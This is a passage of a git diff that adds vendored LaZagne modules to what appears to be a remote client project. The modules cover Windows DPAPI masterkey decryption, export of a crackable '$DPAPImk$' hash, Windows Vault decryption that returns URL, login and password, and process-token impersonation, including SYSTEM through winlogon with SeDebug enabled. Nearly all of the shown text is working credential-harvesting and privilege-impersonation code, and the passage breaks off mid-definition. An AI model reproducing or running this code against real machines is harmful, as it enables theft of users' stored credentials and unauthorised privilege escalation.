self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.ciphertext = data.remain() + + def decrypt_with_hash(self, sid, pwdhash): + """ + Decrypts the masterkey with the given user's hash and SID. + Simply computes the corresponding key then calls self.decrypt_with_key() + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid)) + + def decrypt_with_password(self, sid, pwd): + """ + Decrypts the masterkey with the given user's password and SID. + Simply computes the corresponding key, then calls self.decrypt_with_hash() + """ + try: + pwd = pwd.encode("UTF-16LE") + except Exception: + return + + for algo in ["sha1", "md4"]: + self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest()) + if self.decrypted: + break + + def decrypt_with_key(self, pwdhash): + """ + Decrypts the masterkey with the given encryption key. + This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one. + Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return. + """ + if self.decrypted or not pwdhash: + return + + # Compute encryption key + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, + self.rounds) + self.key = cleartxt[-64:] + hmacSalt = cleartxt[:16] + hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)] + hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key) + self.decrypted = hmac == hmacComputed + if self.decrypted: + self.key_hash = hashlib.sha1(self.key).digest() + + +class CredHist(DataStruct): + """This class represents a Credhist block contained in the MasterKeyFile""" + + def __init__(self, raw=None): + self.version = None + self.guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + +class DomainKey(DataStruct): + """This class represents a DomainKey block contained in the MasterKeyFile. + + Currently does nothing more than parsing. Work on Active Directory stuff is + still on progress. + + """ + + def __init__(self, raw=None): + self.version = None + self.secretLen = None + self.accesscheckLen = None + self.guidKey = None + self.encryptedSecret = None + self.accessCheck = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.secretLen = data.eat("L") + self.accesscheckLen = data.eat("L") + self.guidKey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.encryptedSecret = data.eat("%us" % self.secretLen) + self.accessCheck = data.eat("%us" % self.accesscheckLen) + + +class MasterKeyFile(DataStruct): + """ + This class represents a masterkey file. + """ + + def __init__(self, raw=None): + self.masterkey = None + self.backupkey = None + self.credhist = None + self.domainkey = None + self.decrypted = False + self.version = None + self.guid = None + self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + data.eat("2L") + self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8") + data.eat("2L") + self.policy = data.eat("L") + self.masterkeyLen = data.eat("Q") + self.backupkeyLen = data.eat("Q") + self.credhistLen = data.eat("Q") + self.domainkeyLen = data.eat("Q") + + if self.masterkeyLen > 0: + self.masterkey = MasterKey() + self.masterkey.parse(data.eat_sub(self.masterkeyLen)) + if self.backupkeyLen > 0: + self.backupkey = MasterKey() + self.backupkey.parse(data.eat_sub(self.backupkeyLen)) + if self.credhistLen > 0: + self.credhist = CredHist() + self.credhist.parse(data.eat_sub(self.credhistLen)) + if self.domainkeyLen > 0: + self.domainkey = DomainKey() + self.domainkey.parse(data.eat_sub(self.domainkeyLen)) + + def get_key(self): + """ + Returns the first decrypted block between Masterkey and BackupKey. + If none has been decrypted, returns the Masterkey block. + """ + if self.masterkey.decrypted: + return self.masterkey.key or self.masterkey.key_hash + elif self.backupkey.decrypted: + return self.backupkey.key + return self.masterkey.key + + def jhash(self, sid=None, context='local'): + """ + Compute the hash used to be bruteforced. + From the masterkey field of the mk file => mk variable. + """ + if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower(): + version = 1 + hmac_algo = 'sha1' + cipher_algo = 'des3' + + elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower(): + version = 2 + hmac_algo = 'sha512' + cipher_algo = 'aes256' + + else: + return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format( + cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo) + + context_int = 0 + if context == "domain": + context_int = 2 + elif context == "local": + context_int = 1 + + return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format( + version=version, + context=context_int, + sid=sid, + cipher_algo=cipher_algo, + hmac_algo=hmac_algo, + rounds=self.masterkey.rounds, + iv=self.masterkey.iv.encode("hex"), + size=len(self.masterkey.ciphertext.encode("hex")), + ciphertext=self.masterkey.ciphertext.encode("hex") + ) + + +class MasterKeyPool(object): + """ + This class is the pivot for using DPAPIck. + It manages all the DPAPI structures and contains all the decryption intelligence. + """ + + def __init__(self): + self.keys = defaultdict( + lambda: { + 'password': None, # contains cleartext password + 'mkf': [], # contains the masterkey file object + } + ) + self.mkfiles = [] + self.credhists = {} + self.mk_dir = None + self.nb_mkf = 0 + self.nb_mkf_decrypted = 0 + self.preferred_guid = None + self.system = None + + def add_master_key(self, mkey): + """ + Add a MasterKeyFile is the pool. + mkey is a string representing the content of the file to add. + """ + mkf = MasterKeyFile(mkey) + self.keys[mkf.guid]['mkf'].append(mkf) + + # Store mkfile object + self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable + + def load_directory(self, directory): + """ + Adds every masterkey contained in the given directory to the pool. + """ + if os.path.exists(directory): + self.mk_dir = directory + for k in os.listdir(directory): + try: + with open(os.path.join(directory, k), 'rb') as f: + self.add_master_key(f.read()) + self.nb_mkf += 1 + except Exception: + pass + return True + return False + + def get_master_keys(self, guid): + """ + Returns an array of Masterkeys corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('mkf') + + def get_password(self, guid): + """ + Returns the password found corresponding to the given GUID. + """ + return self.keys.get(guid, {}).get('password') + + def add_credhist_file(self, sid, credfile): + """ + Adds a Credhist file to the pool. + """ + if os.path.exists(credfile): + try: + with open(credfile) as f: + self.credhists[sid] = CredHistFile(f.read()) + except Exception: + pass + + def get_preferred_guid(self): + """ + Extract from the Preferred file the associated GUID. + This guid represent the preferred masterkey used by the system. + This means that it has been encrypted using the current password not an older one. + """ + if self.preferred_guid: + return self.preferred_guid + + if self.mk_dir: + preferred_file = os.path.join(self.mk_dir, u'Preferred') + if os.path.exists(preferred_file): + with open(preferred_file, 'rb') as pfile: + GUID1 = pfile.read(8) + GUID2 = pfile.read(8) + + GUID = struct.unpack("<LHH", GUID1) + GUID2 = struct.unpack(">HLH", GUID2) + self.preferred_guid = "%s-%s-%s-%s-%s%s" % ( + format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'), + format(GUID2[1], '08x'), format(GUID2[2], '04x')) + return self.preferred_guid + + return False + + def get_cleartext_password(self, guid=None): + """ + Get cleartext password if already found of the associated guid. + If not guid specify, return the associated password of the preferred guid. + """ + if not guid: + guid = self.get_preferred_guid() + + if guid: + return self.get_password(guid) + + def get_dpapi_hash(self, sid, context='local'): + """ + Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat. + No admin privilege are required to extract it. + :param context: expect local or domain depending of the windows environment. + """ + + self.get_preferred_guid() + + for mkf in self.mkfiles: + if self.preferred_guid == mkf.guid: + return mkf.jhash(sid=sid, context=context) + + def add_system_credential(self, blob): + """ + Adds DPAPI_SYSTEM token to the pool. + blob is a string representing the LSA secret token + """ + self.system = CredSystem(blob) + + def try_credential(self, sid, password=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential(sid, password)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + if mk: + mk.decrypt_with_password(sid, password) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_password(password) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid.decode()) + self.credhists[sid].valid = True + + if mk.decrypted: + # Save the password found + self.keys[mkf.guid]['password'] = password + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'{password} ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + else: + yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password, + masterkey=mkf.guid.decode()) + + def try_credential_hash(self, sid, pwdhash=None): + """ + This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. + Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash)) + """ + + # All master key files have not been already decrypted + if self.nb_mkf_decrypted != self.nb_mkf: + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_hash(sid, pwdhash) + if not mk.decrypted and self.credhists.get(sid) is not None: + # Try using credhist file + self.credhists[sid].decrypt_with_hash(pwdhash) + for credhist in self.credhists[sid].entries_list: + mk.decrypt_with_hash(sid, credhist.pwdhash) + if credhist.ntlm is not None and not mk.decrypted: + mk.decrypt_with_hash(sid, credhist.ntlm) + + if mk.decrypted: + yield True, u'masterkey {masterkey} decrypted using credhists key'.format( + masterkey=mk.guid) + self.credhists[sid].valid = True + break + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(), + masterkey=mkf.guid.decode()) + else: + yield False, u'{hash} not ok for masterkey {masterkey}'.format( + hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) + + def try_system_credential(self): + """ + Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key + Should be called as a generator (ex: for r in try_system_credential()) + """ + for guid in self.keys: + for mkf in self.keys[guid].get('mkf', ''): + if not mkf.decrypted: + mk = mkf.masterkey + mk.decrypt_with_key(self.system.user) + if not mk.decrypted: + mk.decrypt_with_key(self.system.machine) + + if mk.decrypted: + mkf.decrypted = True + self.nb_mkf_decrypted += 1 + + yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode()) + else: + yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format( + masterkey=mkf.guid.decode()) diff --git a/foreign/client_handling/lazagne/config/DPAPI/system.py b/foreign/client_handling/lazagne/config/DPAPI/system.py new file mode 100644 index 0000000..aaf53f8 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/system.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .eater import DataStruct + + +class CredSystem(DataStruct): + """ + This represents the DPAPI_SYSTEM token which is stored as an LSA secret. + + Sets 2 properties: + self.machine + self.user + """ + + def __init__(self, raw=None): + self.revision = None + self.machine = None + self.user = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.revision = data.eat("L") + self.machine = data.eat("20s") + self.user = data.eat("20s") diff --git a/foreign/client_handling/lazagne/config/DPAPI/vault.py b/foreign/client_handling/lazagne/config/DPAPI/vault.py new file mode 100644 index 0000000..d758443 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/vault.py @@ -0,0 +1,489 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct + +from .blob import DPAPIBlob +from .eater import DataStruct, Eater +from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from foreign.client_handling.lazagne.config.winstructure import char_to_int + +import os + +AES_BLOCK_SIZE = 16 + +# =============================================================================== +# VAULT POLICY file structs +# =============================================================================== + + +class VaultPolicyKey(DataStruct): + """ + Structure containing the AES key used to decrypt the vcrd files + """ + def __init__(self, raw=None): + # self.size = None + self.unknown1 = None + self.unknown2 = None + self.dwMagic = None + self.dwVersion = None + self.cbKeyData = None + self.key = None + DataStruct.__init__(self, raw) + + def parse(self, data): + # self.size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.dwMagic = data.eat("L") # Constant: 0x4d42444b + self.dwVersion = data.eat("L") + self.cbKeyData = data.eat("L") + if self.cbKeyData > 0: + # self.key = data.eat_sub(self.cbKeyData) + self.key = data.eat(str(self.cbKeyData) + "s") + + + +class VaultPolicyKeys(DataStruct): + """ + Structure containing two AES keys used to decrypt the vcrd files + - First key is an AES 128 + - Second key is an AES 256 + """ + def __init__(self, raw=None): + self.vpol_key1_size = None + self.vpol_key1 = None + self.vpol_key2_size = None + self.vpol_key2 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.vpol_key1_size = data.eat("L") + if self.vpol_key1_size > 0: + self.vpol_key1 = VaultPolicyKey() + self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size)) + + self.vpol_key2_size = data.eat("L") + if self.vpol_key2_size > 0: + self.vpol_key2 = VaultPolicyKey() + self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size)) + + +class VaultPolicy(DataStruct): + """ + Policy.vpol file is a DPAPI blob with an header containing a textual description + and a GUID that should match the Vault folder name + Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files. + """ + def __init__(self, raw=None): + self.version = None + self.guid = None + self.description = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + # VPOL_STORE + self.size = None + self.unknown4 = None + self.unknown5 = None + # DPAPI_BLOB_STORE + self.blob_store_size = None + self.blob_store_raw = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + # VPOL_STORE + self.size = data.eat("L") + self.unknown4 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.unknown5 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + # DPAPI_BLOB_STORE + self.blob_store_size = data.eat("L") + if self.blob_store_size > 0: + self.blob_store_raw = DPAPIBlob() + self.blob_store_raw.parse(data.eat_sub(self.blob_store_size)) + +# =============================================================================== +# VAULT file structs +# =============================================================================== + + +class VaultAttribute(DataStruct): + """ + This class contains the encrypted data we are looking for (data + iv) + """ + def __init__(self, raw=None): + self.id = None + self.attr_unknown_1 = None + self.attr_unknown_2 = None + self.attr_unknown_3 = None + self.padding = None + self.attr_unknown_4 = None + self.size = None + # VAULT_ATTRIBUTE_ENCRYPTED + self.has_iv = None + self.iv_size = None + self.iv = None + self.data = None + self.stream_end = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.attr_unknown_1 = data.eat("L") + self.attr_unknown_2 = data.eat("L") + self.attr_unknown_3 = data.eat("L") + # self.padding = data.eat("6s") + if self.id >= 100: + self.attr_unknown_4 = data.eat("L") + self.size = data.eat("L") + if self.size > 0: + self.has_iv = char_to_int(data.eat("1s")) # To change for Python 3 compatibility + if self.has_iv == 1: + self.iv_size = data.eat("L") + self.iv = data.eat(str(self.iv_size)+ "s") + self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s") + else: + self.data = data.eat(str(self.size - 1) + "s") + + +class VaultAttributeMapEntry(DataStruct): + """ + This class contains a pointer on VaultAttribute structure + """ + def __init__(self, raw=None): + self.id = None + self.offset = None + self.attr_map_entry_unknown_1 = None + self.pointer = None + self.extra_entry = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.id = data.eat("L") + self.offset = data.eat("L") + self.attr_map_entry_unknown_1 = data.eat("L") + + +class VaultVcrd(DataStruct): + """ + vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret + """ + def __init__(self, raw=None): + self.schema_guid = None + self.vcrd_unknown_1 = None + self.last_update = None + self.vcrd_unknown_2 = None + self.vcrd_unknown_3 = None + self.description = None + self.attributes_array_size = None + self.attributes_num = None + self.attributes = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") + self.vcrd_unknown_1 = data.eat("L") + self.last_update = data.eat("Q") + self.vcrd_unknown_2 = data.eat("L") + self.vcrd_unknown_3 = data.eat("L") + self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode + self.attributes_array_size = data.eat("L") + # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY + self.attributes_num = self.attributes_array_size / 12 + for i in range(self.attributes_num): + # 12: size of VaultAttributeMapEntry Structure + v_map_entry = VaultAttributeMapEntry(data.eat("12s")) + self.attributes.append(v_map_entry) + +# =============================================================================== +# VAULT schemas +# =============================================================================== + + +class VaultVsch(DataStruct): + """ + Vault Schemas + Vault file partial parsing + """ + def __init__(self, raw=None): + self.version = None + self.schema_guid = None + self.vault_vsch_unknown_1 = None + self.count = None + self.schema_name = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + self.vault_vsch_unknown_1 = data.eat("L") + self.count = data.eat("L") + self.schema_name = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + + +class VaultAttributeItem(object): + def __init__(self, id_, item): + self.id = id_ + self.item = item.encode('hex') + + +class VaultSchemaGeneric(DataStruct): + """ + Generic Vault Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_generic_unknown1 = None + self.attribute_item = [] + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_generic_unknown1 = data.eat("L") + for i in range(self.count): + self.attribute_item.append( + VaultAttributeItem( + id_=data.eat("L"), + item=data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") + ) + ) + +# Vault Simple Schema + +# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter( +# Struct( +# 'data' / GreedyRange(Byte), +# ) +# ) + + +class VaultSchemaPin(DataStruct): + """ + PIN Logon Vault Resource Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_pin_unknown1 = None + self.id_sid = None + self.sid_len = None + self.sid = None + self.id_resource = None + self.resource = None + self.id_password = None + self.password = None + self.id_pin = None + self.pin = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_pin_unknown1 = data.eat("L") + self.id_sid = data.eat("L") + self.sid_len = data.eat("L") + if self.sid_len > 0: + self.sid = data.eat_sub(self.sid_len) + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_password = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') # Password + self.id_pin = data.eat("L") + self.pin = data.eat_length_and_string("L") + + +class VaultSchemaWebPassword(DataStruct): + """ + Windows Web Password Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_web_password_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_web_password_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_authenticator = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + + +class VaultSchemaActiveSync(DataStruct): + """ + Active Sync Credential Schema + """ + def __init__(self, raw=None): + self.version = None + self.count = None + self.vault_schema_activesync_unknown1 = None + self.id_identity = None + self.identity = None + self.id_resource = None + self.resource = None + self.id_authenticator = None + self.authenticator = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + self.count = data.eat("L") + self.vault_schema_activesync_unknown1 = data.eat("L") + self.id_identity = data.eat("L") + self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_resource = data.eat("L") + self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') + self.id_authenticator = data.eat("L") + self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00').encode('hex') + + +# Vault Schema Dict +vault_schemas = { + u'ActiveSyncCredentialSchema' : VaultSchemaActiveSync, + u'PIN Logon Vault Resource Schema' : VaultSchemaPin, + u'Windows Web Password Credential' : VaultSchemaWebPassword, +} + + +# =============================================================================== +# VAULT Main Function +# =============================================================================== + + +class Vault(object): + """ + Contains all process to decrypt Vault files + """ + def __init__(self, vaults_dir): + self.vaults_dir = vaults_dir + + def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256): + """ + Helper to decrypt VAULT attributes. + """ + if not vault_attr.size: + return '', False + + if vault_attr.has_iv: + cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv) + is_attribute_ex = True + else: + cipher = AESModeOfOperationCBC(key_aes128) + is_attribute_ex = False + + data = vault_attr.data + decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) + return decypted, is_attribute_ex + + def get_vault_schema(self, guid, base_dir, default_schema): + """ + Helper to get the Vault schema to apply on decoded data. + """ + vault_schema = default_schema + schema_file_path = os.path.join(base_dir, guid + '.vsch') + try: + with open(schema_file_path, 'rb') as fschema: + vsch = VaultVsch(fschema.read()) + vault_schema = vault_schemas.get( + vsch.schema_name, + VaultSchemaGeneric + ) + except IOError: + pass + return vault_schema + + def decrypt(self, mkp): + """ + Decrypt one vault file + mkp represent the masterkeypool object + Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html + """ + vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol') + if not os.path.exists(vpol_filename): + return False, u'Policy file not found: {file}'.format(file=vpol_filename) + + with open(vpol_filename, 'rb') as fin: + vpol = VaultPolicy(fin.read()) + + ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp) + if not ok: + return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted) + + vpol_keys = VaultPolicyKeys(vpol_decrypted) + key_aes128 = vpol_keys.vpol_key1.key + key_aes256 = vpol_keys.vpol_key2.key + + for file in os.listdir(self.vaults_dir): + if file.lower().endswith('.vcrd'): + filepath = os.path.join(self.vaults_dir, file) + attributes_data = {} + + with open(filepath, 'rb') as fin: + vcrd = VaultVcrd(fin.read()) + + current_vault_schema = self.get_vault_schema( + guid=vcrd.schema_guid.upper(), + base_dir=self.vaults_dir, + default_schema=VaultSchemaGeneric + ) + for attribute in vcrd.attributes: + fin.seek(attribute.offset) + + v_attribute = VaultAttribute(fin.read()) + # print '-id: ', v_attribute.id + # print '-size: ', v_attribute.size + # print '-data: ', repr(v_attribute.data) + # print '-has_iv: ', v_attribute.has_iv + # print '-iv: ', repr(v_attribute.iv) + + decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256) + if is_attribute_ex: + schema = current_vault_schema + else: + # schema = VAULT_SCHEMA_SIMPLE + continue + + attributes_data[attribute.id] = { + 'data': decrypted, + 'schema': schema + } + + # Parse value found + for k, v in sorted(attributes_data.iteritems()): + # Parse decrypted data depending on its schema + dataout = v['schema'](v['data']) + + if dataout: + return True, { + 'URL': dataout.resource, + 'Login': dataout.identity, + 'Password': dataout.authenticator, + 'File': filepath, + } + + return False, 'No .vcrd file found. Nothing to decrypt.'
\ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/__init__.py b/foreign/client_handling/lazagne/config/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/config/__init__.py diff --git a/foreign/client_handling/lazagne/config/change_privileges.py b/foreign/client_handling/lazagne/config/change_privileges.py new file mode 100644 index 0000000..e19b5eb --- /dev/null +++ b/foreign/client_handling/lazagne/config/change_privileges.py @@ -0,0 +1,220 @@ +# -*- coding: utf-8 -*- +# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py + +import sys +import traceback + +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.winstructure import * + +import os + + +def get_token_info(hToken): + """ + Retrieve SID and user owner from Token + """ + dwSize = DWORD(0) + pStringSid = LPWSTR() + TokenUser = 1 + + if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0: + address = LocalAlloc(0x0040, dwSize) + if address: + GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) + pToken_User = cast(address, POINTER(TOKEN_USER)) + if pToken_User.contents.User.Sid: + ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid)) + owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid) + if pStringSid: + sid = pStringSid.value + LocalFree(address) + return sid, owner + return None, None + + +def enable_privilege(privilegeStr, hToken=None): + """ + Enable Privilege on token, if no token is given the function gets the token of the current process. + """ + if hToken == None: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if not hToken: + return False + + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid()) + if not hProcess: + return False + + OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken)) + e = GetLastError() + if e != 0: + return False + CloseHandle(hProcess) + + privilege_id = LUID() + LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) + e = GetLastError() + if e != 0: + return False + + SE_PRIVILEGE_ENABLED = 0x00000002 + laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) + tp = TOKEN_PRIVILEGES(1, laa) + + AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) + e = GetLastError() + if e != 0: + return False + return True + + +def get_debug_privilege(): + """ + Enable SE Debug privilege on token + """ + return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE) + + +def list_sids(): + """ + List all SID by process + """ + sids = [] + for pid in EnumProcesses(): + if pid <= 4: + continue + + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) + if not hProcess: + continue + + hToken = HANDLE(INVALID_HANDLE_VALUE) + if OpenProcessToken(hProcess, tokenprivs, byref(hToken)): + if hToken: + token_sid, owner = get_token_info(hToken) + if token_sid and owner: + pname = '' + sids.append((pid, pname, token_sid, owner)) + CloseHandle(hToken) + + CloseHandle(hProcess) + + except Exception as e: + print_debug('DEBUG', traceback.format_exc()) + continue + + return list(sids) + + +def get_sid_token(token_sid): + if token_sid == "S-1-5-18": + sids = list_sids() + for sid in sids: + if "winlogon" in sid[1].lower(): + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0]) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + print_debug('INFO', u'Using PID: ' + str(sid[0])) + CloseHandle(hProcess) + return hToken + + # CloseHandle(hToken) + CloseHandle(hProcess) + except Exception as e: + print_debug('ERROR', u'{error}'.format(error=e)) + break + return False + + for pid in EnumProcesses(): + if pid <= 4: + continue + + try: + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) + if hProcess: + hToken = HANDLE(INVALID_HANDLE_VALUE) + if hToken: + OpenProcessToken(hProcess, tokenprivs, byref(hToken)) + if hToken: + sid, owner = get_token_info(hToken) + if sid == token_sid: + print_debug('INFO', u'Impersonate token from pid: ' + str(pid)) + CloseHandle(hProcess) + return hToken + CloseHandle(hToken) + CloseHandle(hProcess) + except Exception as e: + print_debug('ERROR', u'{error}'.format(error=e)) + + return False + + +def impersonate_sid(sid, close=True): + """ + Try to impersonate an SID + """ + hToken = get_sid_token(sid) + if hToken: + hTokendupe = impersonate_token(hToken) + if hTokendupe: + if close: + CloseHandle(hTokendupe) + return hTokendupe + return False + + +global_ref = None + + +def impersonate_sid_long_handle(*args, **kwargs): + """ + Try to impersonate an SID + """ + global global_ref + hTokendupe = impersonate_sid(*args, **kwargs) + if not hTokendupe: + return False + + if global_ref: + CloseHandle(global_ref) + + global_ref = hTokendupe + return addressof(hTokendupe) + + +def 